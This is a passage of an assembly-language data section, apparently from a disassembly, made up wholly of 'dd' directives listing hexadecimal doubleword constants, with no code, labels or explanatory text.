		dd 0F004816Eh, 9099F255h, 94001289h, 43E693B6h,	2EF154B6h
		dd 4D815FEFh, 62825A4Fh, 0C57CF1ADh, 0B8BC9483h, 0DFDDE9B2h
		dd 0B36A9C11h, 9D62B4EEh, 0BF7A32DCh, 868B5646h, 20B9FCE2h
		dd 0DAA47D2Ch, 6E32EB15h, 1B6BAC78h, 2797E690h,	8074765h
		dd 995E90Dh, 576DF276h,	14E862D0h, 11473749h, 388F1F10h
		dd 1C6D23D4h, 66BF0EEEh, 9D2CD9EFh, 0AC899BD0h,	4D9953BBh
		dd 2E3223D8h, 521B1BFBh, 8B589A95h, 93BD2466h, 16D180EAh
		dd 6AF8AFD3h, 9B8795ABh, 7B4DC622h, 2D5AF8B4h, 0FD6EC73Ch
		dd 80B5F5FEh, 0AC77AF60h, 7EEAA93Bh, 0F3440433h, 1508881Ah
		dd 2D990782h, 3E49A3E8h, 0D7CF9927h, 0FE40BFD7h, 0D67BE36Dh
		dd 9752881h, 2E2B4CA0h,	0AF7AB2B1h, 5C54FE44h, 22D5E7B2h
		dd 9A984B8Ah, 484A8791h, 7299D66h, 2293D705h, 48BD08FCh
		dd 0F3643EB8h, 2EEECE3Fh, 0F40F16EEh, 501DBAB5h, 0AF0BCD0Dh
		dd 0AAAD280Eh, 8A782F53h, 125C4533h, 5665690Bh,	0C336F78Bh
		dd 0B0710428h, 9BC30FDEh, 0B0F94A3Fh, 1098B1C2h, 379D2C8Ah
		dd 0A4F85540h, 73CCF240h, 0A15FC960h, 0EBAF4D0Dh, 98E07A25h
		dd 0DD12A67Fh, 1E96F3CAh, 755FF38Fh, 7AACEEA4h,	7EC93544h
		dd 2756665h, 35EEF38Ah,	0AA455912h, 1A5E17DEh, 0E9F042EDh
		dd 0D1E8F787h, 35FAB45Ah, 36384E83h, 90D63ED0h,	0A46EAE6Bh
		dd 3E9E5B62h, 92B7FC7Ah, 7421F7BCh, 0C9D749C1h,	0F69A335Bh
		dd 11977A3Fh, 0F73A3A11h, 433F6C3Fh, 9B24F922h,	41D0A5B5h
		dd 2C42B57Ch, 3AB32AE8h, 88126E7h, 1FC45D8Dh, 78D9227Bh
		dd 0D149A476h, 7321D680h, 0CCE319A2h, 0A9F09587h, 52B74AF0h
		dd 6D0418B1h, 7A85ABB1h, 92B716E7h, 0CC7028A6h,	3CCC03B4h
		dd 47B1BC8Fh, 320731DFh, 7D70DFDCh, 96B6022Ah, 549FD526h
		dd 34291054h, 5AD06100h, 0A9F38620h, 0D3F06433h, 82CAB772h
		dd 221407DFh, 51CAF5E1h, 20F34933h, 4DD42D6Fh, 713379DDh
		dd 0F6C6A66Dh, 0A0069C67h, 23CB78C3h, 8C49CE54h, 0AF3D4E91h
		dd 1265957Dh, 6DB1283h,	4B462B28h, 0DC27C99Ah, 79F9AAE7h
		dd 16220DDEh, 0D39F1B2h, 5A0BDE34h, 0C0D77EC5h,	0C0188357h
		dd 0DE229733h, 0BE404D4Ch, 43CAEA38h, 3047CF6Ah, 32FC7905h
		dd 3AA423Fh, 0C281412h,	3BF93235h, 0A4862BD0h, 6827F4C3h
		dd 0AB10B964h, 14CCF2EDh, 1D0F019h, 0D5320118h,	800889B3h
		dd 24951E25h, 4E71BB87h, 8C16696Ah, 3EBA3C23h, 793FF5F1h
		dd 89AD7BC4h, 3E0B6F56h, 6AD71Eh, 28A84C8Dh, 5A0D4E11h
		dd 0BED1E0F2h, 0FA344006h, 0EEFFC811h, 6AEA4787h, 9FABC4E0h
		dd 1133B67Dh, 0B6E04B31h, 634C5190h, 0C9AB74C9h, 0E842344Bh
		dd 8799EEDFh, 2FF5F076h, 0EAC334A7h, 0BDB60079h, 8AF6ACD5h
		dd 0C04DAC68h, 0A015C155h, 8750650Bh, 7D6A22C3h, 0EBDC0070h
		dd 0C732DB42h, 0FC2C35E2h, 59B08A20h, 0E7CB0896h, 976DAE87h
		dd 68F2FBAEh, 0AD1CA907h, 6F8859A4h, 13DDD697h,	285F06EAh
		dd 850BF62Bh, 32E03D28h, 55C855E6h, 5422972Ch, 40DC1ECDh
		dd 5EA4047h, 9E2EFF6Ch,	6E612844h, 4E7739F6h, 36F2DB48h
		dd 81644801h, 848CE094h, 93CC1230h, 69F24B8h, 0CA74FB3Dh
		dd 60F46AB4h, 91DA8FFFh, 4782D3B6h, 54DF50C8h, 0FD702ADDh
		dd 0D655BFADh, 78DF7E11h, 0EB65C61Ah, 1866972Eh, 0D77435DFh
		dd 2CB103F5h, 36D081DBh, 722CF9C3h, 0BF3F9B07h,	4A7E5377h
		dd 0F22744E2h, 0BEF1F2ECh, 0AA51FE9Eh, 26D15652h, 705F2D35h
		dd 24201E95h, 0C658E437h, 82FBC007h, 0C324D24Bh, 0F8F464Bh
		dd 9F18A96Eh, 4CC4569Dh, 91A71C35h, 83BF7D8Ch, 27DF2AC5h
		dd 5AEC4F7Eh, 672A1AC4h, 19FE46AEh, 99DB3364h, 0E96BA6h
		dd 0CCD12F02h, 0E7F79DB5h, 0BC6CA7F6h, 83C9DE4h, 0BFB8ADB7h
		dd 0AD7EDE9Dh, 0B6243EBAh, 23E0E24h, 9D60762h, 651CE54Dh
		dd 0D7B2A3AAh, 3534E616h, 0A4AD5838h, 8F636AC0h, 3AD110FDh
		dd 39B387B1h, 215B925Fh, 4D048728h, 0D34F4EB9h,	3E37FE74h
		dd 2574A97Dh, 7E8F834Bh, 7A10140Bh, 8FA82CFDh, 0E5E2EF79h
		dd 5D969B18h, 6A3319D2h, 2E176C23h, 0E6843580h,	4685BBC8h
		dd 0F7E5CD1Ch, 0E619F926h, 614ACE60h, 8848DB7h,	0D3CD08D4h
		dd 0D200B71Ah, 3379B219h, 0AC6D37E4h, 82C2DC0Eh, 3F2B5216h
		dd 83A136F9h, 2B80D7DEh, 0F3870FEDh, 0DA13DE9Eh, 7697D7C6h
		dd 7630AE86h, 62572300h, 0F78A0D35h, 0DFB883DCh, 0D0568186h
		dd 0AEA68594h, 5F76EA8Bh, 16BE4243h, 0B3161D14h, 47F63D14h
		dd 0FE063BF3h, 0BF2BF038h, 62B0DF0Dh, 4CC493CEh, 884EC887h
		dd 0B6C7E9CCh, 8C49F73Bh, 3862A0BBh, 0D1C3B375h, 879DC06Ch
		dd 45C74DDFh, 1463BCA0h, 7B8B2DBAh, 16572C37h, 0D8D761F1h
		dd 70371E0Ch, 30B6D68Fh, 0D4C0FEA7h, 0A3F5D8CAh, 35E314ECh
		dd 5F880F5Ah, 0F6B3571Ch, 5DDF8CE5h, 15FDF92h, 0FAC9039Ch
		dd 83A9AB8Ah, 6845723Eh, 1538E894h, 0CC6F53BCh,	0DDB20D4Dh
		dd 0DAE8AA79h, 0B5D127EDh, 0F884E18Ah, 8743682Dh, 40A7476Eh
		dd 55DA7304h, 1CEB3C9Fh, 0F713FD47h, 56A9EB15h,	55D0C570h
		dd 7513A58Bh, 0CD4908CAh, 3B084328h, 11F63C26h,	0C6D26E24h
		dd 0B5307607h, 0D0A5CEEEh, 1684585Bh, 195651D1h, 0F82D433Fh
		dd 0E50928DFh, 9F338117h, 27D94BC2h, 0B2DACF4Ah, 53884888h
		dd 429D9C80h, 9F9F69B4h, 37FC7DDDh, 0B9D857BAh,	2881CE79h
		dd 8958D3B4h, 0CDAD4CECh, 0BC6E6710h, 0ED3B9765h, 279C2DD6h
		dd 6A5ED96Eh, 242E13D2h, 805710E0h, 6DF45A4Bh, 9B7850A8h
		dd 0D16621DDh, 1566E5D5h, 0C276C9F0h, 0F08BAAFBh, 0D6D7FC77h
		dd 0DF619B44h, 0F2B5E16h, 175BCFC0h, 79790A15h,	927481C6h
		dd 56EB22FFh, 0F18027D6h, 56376614h, 0E3B69BDDh, 96A309AEh
		dd 6AF1CD72h, 80360631h, 6C72144Ah, 30C21035h, 33FBE44Fh
		dd 34054972h, 2C811689h, 89995A13h, 6821732Eh, 0A4410AD3h
		dd 0B5953098h, 39867BD4h, 6B36B141h, 7F46D8Eh, 5961B3EEh
		dd 4DB243BCh, 0A09AB790h, 0E99ED750h, 91CC4BC4h, 0D11E7B47h
		dd 8CCABFA0h, 6CC919E1h
		dd 0E9F1CE67h, 801530Eh, 7D695A03h, 81F4D4E8h, 36C87109h
		dd 8C5CAE6Bh, 62AB7C2Bh, 809F6481h, 14AD4870h, 0DC690637h
		dd 0E6017D96h, 78F79E65h, 76312EF6h, 0FF7DC271h, 7128929Fh
		dd 5CD734B1h, 0E678BE61h, 767F2351h, 4D67CB10h,	9360F6B7h
		dd 513299DAh, 5BD9CE6Dh, 0B52523EAh, 0CBC16D61h, 0F632E467h
		dd 0E077F56Fh, 0CCAC519Bh, 95AD39F0h, 40C1C89Ch, 7CCD2545h
		dd 804A33E0h, 9619C280h, 0F3203DE5h, 4510CE30h,	0D18ACB0Ch
		dd 0A9EADB04h, 0B867A354h, 207649E4h, 0F6A5AEF4h, 0F273D105h
		dd 4E54B7FAh, 0E53AB8F4h, 0FDB7CF10h, 5B565057h, 0E08254CAh
		dd 0AD6EE79Eh, 9EE79B2Ch, 0EC0C07DDh, 0B7EA76B4h, 58ACAD71h
		dd 0CC43C905h, 0C73BC463h, 8C4FFE50h, 45D88A1Fh, 87AF1AC3h
		dd 2B83772Eh, 3506EEDFh, 2AC240D9h, 496B3AB9h, 0F5A7A1F0h
		dd 628538F7h, 5D559AFh,	8CEE57EFh, 7466112Fh, 0B44E5D08h
		dd 7600F93Ch, 0B1E27CFDh, 9ABC9980h, 6310EC1h, 385FA70Eh
		dd 28632BC3h, 7EA5394h,	4DEC9DCFh, 0DB7707A0h, 3CFE579Ah
		dd 0D24623F0h, 97CF61h,	0C2BDB5EAh, 0FF707D61h,	12DD12F1h
		dd 0C0CB6CFDh, 3BDC252Ch, 0F5073EB2h, 0EED31FA1h, 0C378C90Eh
		dd 49FEC744h, 0AA6D6A07h, 0FFCB7BD5h, 420B0AE2h, 0DC88AA5Ch
		dd 22E9A9C8h, 978DCC90h, 74F42392h, 4DD6BAFFh, 0D87F62A5h
		dd 1EBBAD5Dh, 0C44365A7h, 0F1AE6E0Ch, 0B6CF65FAh, 54C479DBh
		dd 34027A3h, 0A3F234C9h, 0BA928C1Ch, 15431BB0h,	46BDE22Bh
		dd 87CE57Ah, 5B399FFh, 7EDB5CF5h, 0AE1054E2h, 3F3365ABh
		dd 3DDFA769h, 22FF25A2h, 0EF10CBA0h, 0AA111C55h, 850EC772h
		dd 476AFB73h, 95AD3C05h, 0D532A3A0h, 539DABC4h,	3156D4C0h
		dd 1AFFE5EDh, 0F71E4722h, 0FE4758B0h, 53E67F1Ah, 1F84333Ah
		dd 25349966h, 0E6984DF4h, 8D47F2F4h, 9B17C073h,	8C6B80FEh
		dd 61B25FA5h, 69116245h, 49A64022h, 0D8C76B04h,	48D28119h
		dd 6C7FEA1Dh, 0F039CCD0h, 9E3F95B7h, 577A8814h,	98F2E827h
		dd 0BEABF4C9h, 75D40E29h, 635746BFh, 7542FCCh, 0ACE91D72h
		dd 5361C6CEh, 54DC0E1h,	0D1970AB1h, 0DA7CB64Eh,	99912CF6h
		dd 6B5882DFh, 4BF300E9h, 37032BF9h, 0DF722A0Eh,	0D72C3916h
		dd 0A755CAF6h, 21FB1134h, 0B916D573h, 0A195CBFDh, 0C0F9865Fh
		dd 55D99DD4h, 0FDD85D50h, 116E170Ch, 8C3C6CD5h,	576CD3B7h
		dd 0D359A25h, 218D4F63h, 8DCB652Ch, 25C2DB22h, 8A275441h
		dd 0BEE15C25h, 0FD8EFDF8h, 96C58415h, 12287E1Fh, 5853147Fh
		dd 5ACC0DE8h, 3C40E6DDh, 0EE681A98h, 899A272Bh,	0D430C5F2h
		dd 0F226E47h, 0C6F9BD86h, 0CD1B90FBh, 0B1CA74CAh, 295F7E1Fh
		dd 0C646AA89h, 0CD4E8B56h, 53C7FEBCh, 4EB39BAEh, 0FBCA5A1Eh
		dd 4DE20197h, 0CEEF68Eh, 1EECB96Fh, 0E37B3ED5h,	0D335161h
		dd 4B5E255Fh, 0B93AB070h, 0F358CD4Fh, 0C234F399h, 21EA0364h
		dd 0C9B40D24h, 0C6DCB2E4h, 0D02C8DD2h, 257BD04Fh, 864DCF3h
		dd 7D601CC9h, 993B7197h, 0B3CA20FBh, 7C613AFAh,	8FEAAC0h
		dd 0B6646507h, 0E5F0F25Ch, 0D5097DB3h, 0BB9A385Ah, 8835045Eh
		dd 9EBC38EAh, 0F0FA7B8Bh, 77D348C9h, 0F0CEA9C1h, 19A1A50Ch
		dd 7EB4115Ah, 8A3E4FC4h, 1094A6DCh, 366AEA66h, 169EF4E4h
		dd 5874AD19h, 0E9AEEE71h, 251BB72Eh, 2C0A398Bh,	0E23530EFh
		dd 0A64881EBh, 813CE53Fh, 5DE066Eh, 205EF27Ch, 9BB88758h
		dd 196A2D53h, 5AEDB290h, 2C0FA72Dh, 6E1B7295h, 0A1266095h
		dd 967E2F66h, 0A23F389Bh, 6AFB1222h, 91565FEDh,	0BE2EE3ABh
		dd 13C9ECD2h, 9409E2E8h, 1FDCE13Ah, 8AC164C6h, 75024615h
		dd 9E16C0D6h, 868BB522h, 0E2DA468Bh, 0BE76DB05h, 45E83CEFh
		dd 0F4C5B2A5h, 2BA73B94h, 21C34FE7h, 0C19944E5h, 0D2EEBD6Bh
		dd 0F2619120h, 2B355AA5h, 20EB02DCh, 0CE9309BAh, 1C20A0C8h
		dd 0B2784357h, 233BA2B7h, 0E38B6736h, 1A86D24Bh, 0D75A9A60h
		dd 8088EB7Ah, 81F6F03Dh, 0B80E339Ah, 903ACF1h, 147C135Ch
		dd 11D0B889h, 729E8338h, 31362D2Fh, 5B2DD577h, 563392B7h
		dd 559C4D8Eh, 4CDCAB46h, 0C803F88Ah, 0D4608E1Fh, 0EB38F59Bh
		dd 871D80CFh, 0A4CC7DB3h, 0DABA36A0h, 0D7F32518h, 0B4068CCFh
		dd 89A68869h, 6836568Fh, 2D5B39F5h, 3CE68F76h, 0EA0AAB75h
		dd 0F8C28F35h, 20C58C55h, 3964B8D3h, 984C98F6h,	800A4BD8h
		dd 0DF83B2CAh, 837FAFBEh, 0CF8BFA02h, 0C2E9974Eh, 6FB02D1h
		dd 113494DCh, 68677BA3h, 551AA7B7h, 0D2ACAE69h,	0FD1322F6h
		dd 208957E8h, 507F37D6h, 84E78988h, 5094A2F0h, 0D5D4A061h
		dd 3464C8B9h, 0F7360FD4h, 0F35636A1h, 1811A56Bh, 0BB9A9C6Bh
		dd 0F516A265h, 88496CF9h, 35488A7Fh, 60154DB7h,	4CF833C6h
		dd 358DB1ECh, 79F90C46h, 856A838h, 9D9A0FC2h, 63A61DE8h
		dd 11B344Ch, 0DD529510h, 0A5EE272Dh, 10DBF139h,	0F7F889FDh
		dd 5B8E8F4Ah, 47DE2438h, 3AEC5BE2h, 0A35CECCDh,	509A1D2h
		dd 0FC27941Eh, 0D81527BBh, 84F8804Ch, 1E705548h, 3936095Dh
		dd 4AB0592Eh, 0D5E66452h, 0FC388C78h, 9BCBEFB8h, 14D7A042h
		dd 16857D8Ah, 0CCD5994Ah, 0CE44FE0Ah, 1C5DDC7Fh, 9E902F62h
		dd 0D374EF11h, 17B930E0h, 95D3A14Dh, 74A9D915h,	0BDED288Ah
		dd 948EB076h, 5040F154h, 0A44D0B84h, 414C32DCh,	2BF66227h
		dd 8E49E26Ch, 95DECAECh, 8581925Dh, 79E70F69h, 84D974BCh
		dd 0CDA16A27h, 8B34513Fh, 5BD25EDDh, 4DFF8012h,	28E96FEEh
		dd 2A741E2Fh, 0DEF07FBh, 23E740C5h, 1BB90052h, 0DEB3755Dh
		dd 549A5CFDh, 0E01411C0h, 15E83B8Fh, 0C8FE8473h, 466D387Ch
		dd 63EC4DF6h, 74F86813h, 3632B5CCh, 0A77B23E7h,	0D792946Bh
		dd 0A8BD9148h, 4908B212h, 9AFB6Dh, 8C34B839h, 300EAC9Dh
		dd 0F82E11FDh, 0D905A36Fh, 73C36329h, 547222CFh, 0BEFA4D7Ah
		dd 24746872h, 5B731413h, 0FC2A38F8h, 5DEEECC6h,	34AAE4E8h
		dd 9AA0B677h, 0CF0EB961h, 7001DFCCh, 1F920525h,	1F81F8FBh
		dd 0E00B985Bh, 0ED627205h, 3E17F5A9h, 899B1776h, 0DADBD5AEh
		dd 65E2AFAEh, 81A8666Ah, 0B8108FE2h, 0A2E787E5h, 0C5D7E530h
		dd 0FD14C55Ah, 53915C9Eh, 2CA924Bh, 0CB84433Fh,	802E0D1Eh
		dd 1BE70E42h, 35444EF8h, 8E8E9F8Fh, 6B2F119Eh, 9738F87Bh
		dd 7B9769Ah, 0CB4688F1h, 0C4263425h, 0B39B755Ah, 0DE904B44h
		dd 86CC5F0Ch, 5648C849h, 0A01EBB64h, 0CD0E15Dh,	2400B931h
		dd 0AC6B2935h, 0BA7C9236h, 39D60BD7h, 41E0E0DAh, 36CA9C8h
		dd 67B4A881h, 7E6474B4h, 0F793474Fh, 1E22583Ch,	5D2AA630h
		dd 9DDFD0F2h, 32F27DC1h, 0A7D42FE1h, 0FD09EF1h,	357FA457h
		dd 0F31A65B6h, 31AF8623h, 25DBFF18h, 58A87745h,	0DBC96B9Ah
		dd 81819ABBh, 0C67F0D18h, 13E97DC4h, 0C69E4485h, 5F155BA8h
		dd 0C5CECB5Fh, 0D8258EE0h, 0EE24EB70h, 3D48AC41h, 650FF44Ch
		dd 0CE95CD6Ah, 4F99B13Dh, 5E83904Bh, 0C791C7C5h, 0A9BA776Ah
		dd 32FE19F4h, 567F9E8Ah, 74FF3596h, 9E8129F9h, 5C33E902h
		dd 502ABAB7h, 2089C5E7h, 68BD1FDCh, 4BC60EE0h, 592D25F2h
		dd 125F3188h, 5E86B5EAh, 89AB679Fh, 9A5E2927h, 3033E4DFh
		dd 35FE2E57h, 0FA0C6EA4h, 5267CFFBh, 8A74795Fh,	1E209143h
		dd 4BA1E291h, 0A8C2541Dh, 0C279902Eh, 0C804D708h, 0CF1B1A57h
		dd 0B7F99A16h, 0E94D1E82h, 30EA8830h, 4D8060Bh,	0AC89623Ah
		dd 111A519Ch, 67AB77DCh, 808686DBh, 3813B77Dh, 0B95C6005h
		dd 9C2D469Fh, 0A04E826Fh
		dd 3A52CFC6h, 94607C4h,	147F4EE3h, 4BCA76DBh, 0DA7B7EB6h
		dd 0B6BA7FB0h, 44E5B773h, 0D8C95865h, 21B31276h, 2914C288h
		dd 0C0CC72BDh, 2666EF32h, 0E72E043Ah, 48266EF5h, 20E8B232h
		dd 0B29103E0h, 5C3563B7h, 61D27D83h, 6A264540h,	0A8AD8FE4h
		dd 9B465AAAh, 9BE99D4Eh, 4119FBFBh, 0C25E51D3h,	0F837C9A5h
		dd 87F80223h, 115D1FD8h, 799B5F1Ch, 0D64AC077h,	19241546h
		dd 677F8899h, 0C54060F8h, 0DD3DBB44h, 0A0349D64h, 2B3CEBBAh
		dd 0A8467C04h, 1188E13Ah, 29A85CD5h, 0EA60FA14h, 6B1360C3h
		dd 2A4C9D09h, 24F28CB5h, 0C09DDC8h, 7184B4F3h, 32063533h
		dd 0BD6C89C8h, 0A58B375Bh, 359C1611h, 29EED3A2h, 0B4A802CAh
		dd 5CC65062h, 0B666DB7Eh, 0F16CF383h, 3277C54Ch, 8703673Eh
		dd 3D1BB4C5h, 279AC5D8h, 2B975A26h, 9CB2E57h, 0B538ECE1h
		dd 8212A349h, 0EF812CF7h, 0EB42B9CAh, 0D1F8C69Fh, 7686C307h
		dd 45A48FCEh, 0F5BC2ABDh, 6EFE3EF4h, 125BC0F5h,	9E56E62h
		dd 1C88A11Ah, 7968DC39h, 0E5B6734Bh, 0F1F78638h, 0BD3A9459h
		dd 0DB44EDD2h, 66A99E77h, 1D22495Dh, 0C5A686CBh, 0B1255DCh
		dd 78FDED9Ah, 0E2E70793h, 42EB665Bh, 4F89B37Fh,	75E673D5h
		dd 0EA41B388h, 0C150B0F9h, 4550874h, 6F938D2Bh,	7A8F9AA9h
		dd 0F6C11E88h, 348B63C6h, 0DA7454Ch, 9375877Ch,	138CDF20h
		dd 8930916Eh, 9009074Bh, 0B39F0207h, 90456603h,	34910D8h
		dd 76FB486Fh, 71B89C9Ch, 0D643EE9h, 83C0F19Eh, 0B87021F2h
		dd 0C61F486Fh, 0BE3D55Bh, 837FE888h, 0E02CD5C6h, 1EA3438Dh
		dd 2A03E421h, 66A36AA4h, 37C0BA15h, 83A8E6E7h, 638079h
		dd 36993FF8h, 0B94C3C8Ch, 95A3AA77h, 0B9DC8B71h, 22BADB47h
		dd 7D5104D6h, 8B8B53D4h, 61C29B3Bh, 0F43FD218h,	47633444h
		dd 0BB8C4C56h, 4CD06913h, 56E8E2A5h, 0E1F7B63Bh, 9A9DD338h
		dd 0D5E0B02h, 2939E2E2h, 0E1122F01h, 0A2C397Ah,	5982464Bh
		dd 3E5B2A89h, 63CEE4C4h, 9E7EF4A5h, 61608B4Dh, 2183805Bh
		dd 24F9F75Bh, 2770B3B0h, 0E4215D5Ah, 83BE14C4h,	0DEF5CCDAh
		dd 0DFC6E555h, 96EAFF6h, 7BD27398h, 0AD9800AAh,	25683160h
		dd 366DC941h, 9A0976CFh, 0A1AB82E7h, 0E4D8996Eh, 0F0656DFEh
		dd 898C42CEh, 692678B1h, 3B474426h, 0F540DD55h,	6C920B4Ch
		dd 875FE17Ch, 3CF5B37Ah, 0BEA2270Bh, 0E0986605h, 0CF60D716h
		dd 0FA57EFADh, 6DD1E0A1h, 0AAA876CFh, 3E5BCE58h, 0B979D84h
		dd 0BDA5B3A7h, 0BBE146F7h, 5A5B86E6h, 0BBDF15ECh, 8FBE3FEBh
		dd 3ABC6E7h, 9A2EEB40h,	4CE9AB43h, 75B246C8h, 0F256D040h
		dd 7C0F1809h, 0C617E90Dh, 51021CD5h, 0DB12980h,	0AE39B8B1h
		dd 398AD5h, 0A8450ED6h,	0FCB6E727h, 13D7443Fh, 6FE9C44Eh
		dd 0A09F0B67h, 0DCBF776Dh, 264C4BB2h, 0C30249AAh, 0D80756FAh
		dd 9D94F8C1h, 6264CD85h, 4C5F8829h, 0CB78FDD6h,	846B659Ah
		dd 0A398950Ah, 1846E1Eh, 89909C9Eh, 0D75E1A20h,	0B59CB50Eh
		dd 0F2A29728h, 4748740Dh, 4CEF8BE2h, 76FFF370h,	7B2684DDh
		dd 9ED1D0F2h, 0B295A1A5h, 0AF96F0C3h, 0E0FC74B1h, 3563D13Ch
		dd 0DFA92DFEh, 0C588E73Ch, 292BB990h, 38E80Eh, 0BA843F98h
		dd 0A9851D7Bh, 22AD2DB8h, 31B1E7EAh, 0D3C3B375h, 27F55525h
		dd 0CF4F8FA3h, 2B5A576h, 0F0AA81Ch, 0DA321376h,	950ED504h
		dd 0D4414B0Bh, 0EEACC26Eh, 0D98297C3h, 2C35CC06h, 91179548h
		dd 0DC2C3BB3h, 286CD136h, 4C2891F0h, 0B9CC39F7h, 0EC15BEDDh
		dd 83AF625Ch, 0CE0F8B0Fh, 109958C3h, 0B6B9C5D7h, 102E260h
		dd 6C27A46Bh, 85BABA9Dh, 0E7E0D35Ah, 914FA022h,	16103009h
		dd 8B3FE243h, 0A6577ABh, 34090C9h, 7371CA0Dh, 7DCB5A3h
		dd 4B97AB17h, 575947F4h, 0D0347983h, 7E8C4EC0h,	0FDAAB97Ch
		dd 19C293CCh, 2B2062E2h, 603DDF2Bh, 0D19A7CBCh,	0B01D3873h
		dd 86CFFDF3h, 0F6AEBA15h, 6B92022Eh, 4AAF5745h,	264321E5h
		dd 5DC6C2F3h, 0A7ADC3ACh, 2C64202h, 4F18126Dh, 59C13CB8h
		dd 2F2DA187h, 368222Bh,	43382D64h, 334D22F4h, 9E5553DFh
		dd 0E1BC51AFh, 1BCE461Fh, 16CEFADDh, 242CE1Fh, 4E45F6BFh
		dd 9AF4F38Ah, 0B0659E53h, 4E4ACFDDh, 0D687540Fh, 0D4F789D0h
		dd 0E13ABF56h, 87F27216h, 0B9F6B02Eh, 1051BAE3h, 3FE98DB2h
		dd 2E769A6Bh, 0B4A5D386h, 38233021h, 0D037A5E4h, 0AB10A37Eh
		dd 65ED5E00h, 1708EC4Ch, 39630E68h, 0A110F595h,	0CCF97475h
		dd 2A688D78h, 3ABA673Fh, 8E2D5BFAh, 8795D19Dh, 0C03B2A22h
		dd 0B351A55Ch, 8C535F55h, 0E4773532h, 92179947h, 0C4FD318Ah
		dd 93507E2h, 0F0F97924h, 76D9BEB0h, 3D12A5A2h, 66150A36h
		dd 0D421A608h, 0EAA4FBC7h, 31402095h, 240DF5B4h, 0DAF35A43h
		dd 0C2BD77A8h, 97C4B5B9h, 28984B60h, 0E07D9889h, 0DB5AE547h
		dd 4A623277h, 6D4C8A13h, 0B87761ECh, 6639FF7h, 471E29E0h
		dd 884E432Bh, 5FDF9E34h, 97AB23F6h, 363A1D36h, 4ED8B741h
		dd 0ADD04A47h, 4808BFh,	0C662DFE6h, 73A5BDFEh, 124547F3h
		dd 198B411Ch, 0C2230B54h, 1A79D418h, 58468D2Dh,	0DF562963h
		dd 0C8B7FDB2h, 2ED18A7Bh, 0A5282BF4h, 4019FD50h, 6D2D397Dh
		dd 7DA10CA7h, 0E76D0E85h, 0AAFBB3C0h, 0EB4A336Dh, 24EFD30Bh
		dd 4631C6CEh, 28AA937Fh, 92B76F59h, 0F43EEA7Ah,	0C36A9EF0h
		dd 7F3250DFh, 1BA572F6h, 0B465EC29h, 7B0AD6D6h,	0FDD29983h
		dd 0C255517Ah, 6BB88D29h, 0DBCBF441h, 6A80FF50h, 3C29EAE8h
		dd 9A106ACEh, 0CDECCEEFh, 35B11890h, 0F0916B0Bh, 2CA9F1DAh
		dd 26B31346h, 9E5ECFB7h, 0FA526903h, 74B1C9EDh,	4950DF70h
		dd 9C51E8A6h, 4D2AE715h, 1E0832EAh, 8FA98156h, 732CFACBh
		dd 0C6A16905h, 0A20BD7F5h, 3B4E9F38h, 0DB43DA5Bh, 1822E84Fh
		dd 3D20EE84h, 73B038DDh, 12E4FDD6h, 0A8E2724Bh,	4E7CFEC6h
		dd 0A12E181Ch, 0DC5B5FBDh, 0E0FF8C0Fh, 7F9158C4h, 7D028AD3h
		dd 0ED378A19h, 0D3D59226h, 0AF8BA9E6h, 24F8ADF7h, 1567AB23h
		dd 6C51288Dh, 0D11DC3D2h, 0BCB30969h, 5B27FD4Ch, 842EF52Eh
		dd 189261Dh, 0F26A2E64h, 0D85D5E93h, 44213CF1h,	12D0AAE4h
		dd 0E67BA64h, 0CF9D04F0h, 0A3409332h, 1E2C8606h, 0D4FF776Fh
		dd 5CC9AA57h, 0F6EE47A5h, 8B2E8524h, 71200C9Ah,	0C40BA461h
		dd 0FDA3EBACh, 0D8AD4DE2h, 0AC5B7328h, 24A021B7h, 2ED9A64Eh
		dd 89F1D5E0h, 9F2B5860h, 9D40D26h, 0C782F182h, 824602E6h
		dd 4FE5DFEFh, 7054DD03h, 0DD8479Dh, 9BA58284h, 8632E885h
		dd 855680DEh, 1B76423h,	0BD852D5Ch, 0F15777F4h,	9F260EDCh
		dd 9E88444Eh, 1059D6C0h, 0E54CB546h, 0EF13BE36h, 543B7D0Eh
		dd 2BD6905h, 0A06D12B4h, 0C0450ED0h, 0BD4B96E1h, 0C8955CE5h
		dd 0AA0DC0D9h, 1B9267D3h, 955A4F11h, 75FE37ADh,	3D246E60h
		dd 0D2EBC72h, 8F2ECB5Eh, 356CBE19h, 13BE90ECh, 139250DEh
		dd 0A04238C3h, 0D0E59E6Ch, 7A28D16h, 0C0FBD11Eh, 33EE486Bh
		dd 1CFE2266h, 35F27931h, 94633B70h, 0EF57E99Ah,	0E2E0309Ch
		dd 0AC5D540Eh, 0FEBC4A0Bh, 0A5CD928Dh, 15D457CCh, 5B4BA85Bh
		dd 1EE300DEh, 0F4B8A867h, 4EEF9DBDh, 4B3AA2EFh,	3E370E68h
		dd 0B1FDDBDEh, 0CC3B2A01h, 222A85Bh, 59C47DE0h,	0F3DBA6Bh
		dd 9BF7524Ah, 8848CBC2h, 2E9E1E2Ch, 479C736Dh, 46CDEC0Ah
		dd 0F8A15791h, 5B626622h, 11C0CA13h, 0A2C30A0Ch, 90F875B7h
		dd 8291858h, 2AEDAA06h,	2949E561h, 245D095Ah, 0A554D48Dh
		dd 282909B8h, 0C1988587h
		dd 0BCAACB69h, 0A0290BB4h, 76D39B4Bh, 0B66C95FDh, 5B975A96h
		dd 0FF2020D3h, 0A0E9E499h, 0E91641F3h, 0F3A7B40h, 3428713h
		dd 43020502h, 36DA25E5h, 0E3FA6C7h, 0D893ADDh, 0B61C157h
		dd 70D4CDC5h, 0E48D00ABh, 851F3062h, 9B589D49h,	69D9AA62h
		dd 32B76A6h, 32D38E49h,	9E0DFF71h, 62A43AD3h, 17F4098Eh
		dd 7A6F96B5h, 0A2738767h, 67CA71B3h, 78E8B83Fh,	3EE8277Dh
		dd 1B0F5516h, 0CA4384A6h, 21FAF922h, 0A97F46CBh, 8D0F41Fh
		dd 0EA07FA85h, 0DFCA1C93h, 0B049F2h, 0A1D5F105h, 43E01C1h
		dd 95D8E03Bh, 47E03105h, 0BC69A69Ch, 0EDABEAF3h, 1A488CDCh
		dd 7088A2C4h, 8C2D2879h, 32F3AF08h, 5118E4FAh, 247DE551h
		dd 10FD8B4Bh, 860B1753h, 0E475369Dh, 0EC871716h, 0B0F196EFh
		dd 5198B874h, 2C03A61Fh, 8ECD49A7h, 215CA01Fh, 42C54FFh
		dd 2CE1B14Bh, 41E29FE1h, 3C7323F9h, 1D6F3CB7h, 76EFC72Ch
		dd 9B796BA7h, 9B9C16B9h, 1623BC49h, 0BF74B775h,	0F1B5F965h
		dd 5273EE51h, 4562BCF4h, 20C48C71h, 0DC907079h,	4F565205h
